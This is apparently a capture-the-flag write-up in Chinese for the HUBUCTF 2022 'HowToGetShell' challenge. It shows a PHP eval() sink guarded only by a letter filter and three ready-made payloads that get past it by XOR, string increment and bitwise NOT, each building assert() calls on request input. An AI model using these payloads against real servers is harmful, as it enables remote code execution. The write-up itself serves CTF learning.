[HUBUCTF 2022 新生赛]HowToGetShell题解

老早以前遇到过无字母rce,但是现在忘记得差不多了。现在以这道题来回温一下rce的解决方法。

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

这道题只过滤了字母,算是一道简单的rce了。

1.异或^

如果学过计算机组成原理的小伙伴可能对这个就不陌生了。异或的规则是相同则为0,不同则为1。1^1=0,1^0=1,0^0=0,0^1=1。这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E,E对应的ASCII码值为01000101,我选择了>{进行异或得到E。在这里插入图片描述
这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]);  //assert($_GET[6])

把上面的构造放一排就可以了。[HUBUCTF 2022 新生赛]HowToGetShell题解_第1张图片
[HUBUCTF 2022 新生赛]HowToGetShell题解_第2张图片
在环境变量里找到了flag。

2.自增++

在php中,在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。并且字符变量只能递增不能递减,并且只支持字母数字的ASCII的自增,对其他字符自增无效。简单来说,就是我们可以通过自增来获取我们想要的字母。即‘a++'-->'b';'b'++-->'c';'A'++-->'B'
而php还有一个特性,字符串和数组拼接会返回Array。这样我们就获取到了字母。在这里插入图片描述
这里我就直接放p神的构造结果了。构造太多了,如果遇到长度限制的话可能就不行了。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

直接把上面的构造放到一排然后urlencode一下。运行结果:[HUBUCTF 2022 新生赛]HowToGetShell题解_第3张图片

3.取反

不知道取反运算的伙伴,可以看看这篇文章:取反运算
我们想要构造的任然是在这里插入图片描述
assert($_GET[6])这样的语句。因此我们对他们进行取反。在这里插入图片描述

得到assert和_GET取反的结果。开始构造:

$_=~(%9E%8C%8C%9A%8D%8B);   #相当于$_=assert
$_1=~(%A0%B8%BA%AB);        #$_1=_GET
$_2=$$_1;
$_($_2[6]);
//排成一排
$_=~(%9E%8C%8C%9A%8D%8B);$_1=~(%A0%B8%BA%AB);$_2=$$_1;$_($_2[6]);

运行结果:[HUBUCTF 2022 新生赛]HowToGetShell题解_第4张图片

你可能感兴趣的:(web安全,学习,网络安全,笔记)